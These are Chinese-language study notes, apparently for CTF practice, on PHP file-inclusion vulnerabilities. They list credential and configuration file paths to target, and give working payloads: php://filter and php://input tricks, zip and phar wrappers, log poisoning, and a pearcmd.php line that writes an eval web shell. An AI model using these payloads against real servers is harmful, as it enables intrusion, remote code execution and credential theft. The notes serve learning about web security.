文件包含
文件包含
相关函数
include()
使用 include 引用外部文件时,只有代码执行到 include 代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个 php 文件会继续执行。
require()
在 php 文件被执行之前,php 解析器会用被引用的文件的全部内容替换 require 语句,然后与 require 语句之外的其他语句组成个新的 php 文件,最好后按新的 php 文件执行程序代码。
include_once()
使用 include_once 会在导入文件前先检测该文件是否在该页面的其他部分被应用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为 php 不允许相同名称的函数被重复声明)
require_once()
语句是 require 语句的延伸,他的功能与 require 语句基本一致,不同的是,在应用 require_once 时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用 require_once 语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)
需要注意的区别是 include_once 和 require_once 函数,前者如果当前程序的某个文件(函数调用的文件)有第二次导入会报错,而后者则不报错,只是文件不会被执行
常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
本地包含
如果包含的是可执行的php文件,会执行,如果包含的不是可执行的会进行读取
例题:
http://123.206.31.85:49166/index.php?file=hello.php
如果?file=/etc/passwd
/etc/passwd包含用户信息的文件
在/etc/passwd的源文件里有upload.php,可以上传文件,上传一张图片马。直接包含执行
但是发现被过滤掉了<?php和?>替换为_和_
直接用替换就可以执行
远程包含
条件
在php.ini里有两个重要的参数allow_url_fopen和allow_url_include
allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
如果后缀名写死,比如传入的东西后面自动加上.php可以用?来绕过
比如:http://xxxxx.index.php?file=1.txt?a.php,?是用来传参的,但是1.txt不需要任何参数,所以?没啥用,可以把帮助我们绕过.php
伪协议
php支持的伪协议
file:// | 访问本地文件系统 |
---|---|
http:// | 访问HTTP(s)网址 |
ftp:// | 访问ftp(s)URLs |
php:// | 访问各个输入输出流 |
zlib:// | 压缩流 |
data:// | 数据(RFC 2379) |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP归档 |
ssh2:// | Secure Shell2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
PHP归档
例题:106.12.37.37:10007
只要上传的是压缩包格式的文件,改个后缀啥的无所谓
phpar://upload/xxxxx.xxx/phpinfo(自动加.php的)
zip://upload/xxxxx.xxx%23phpinfo(自动加.php的)
利用php流
php://filter
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容没有读取之前没有机会应用其他过滤器
php://filter目标使用以下的参数作为它路径的一部分
?file=php://filter/convert.base64-encode/resource=index.php
例题:http://chinalover.sinaapp.com/web7/index.php
php://input
利用条件:
- allow_url_include = on
- 对allow_url_fopen不做要求
php://input可以读取没有处理过的post数据
就是用它之后,post 直接放完整的 php 代码就可以
例题:http://106.12.37.37:10008
data://
data://text/plain/;base64,php马的base64形式,注意 + 要 url 编码
日志文件
在linux下,日志一般都在var/log下面
通过bp抓包,改请求头上的内容,比如<?php phpinfo();?>就可以让日志文件包含我们需要的内容,通过包含日志文件就可以了,但是通常情况用户是没有权限去读取日志文件的
pearcmd.php利用
?+config-create+/&p=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['yichen'])?>+/tmp/shell.php
这里面参数 p 是接受进来包含文件的参数,注意,在浏览器里会 url 编码,在 burp 里面写
效果就是在 /tmp 目录下生成一个 shell.php
系统环境mark一下以后在写
session
PHP默认生成session文件在/tmp下
在php.ini文件中存在session.upload_progress.enabled这个参数,默认开启,会在上传过程中生成上传进度文件,它的存储路径可以在phpinfo中找到
看烦了,先看点别的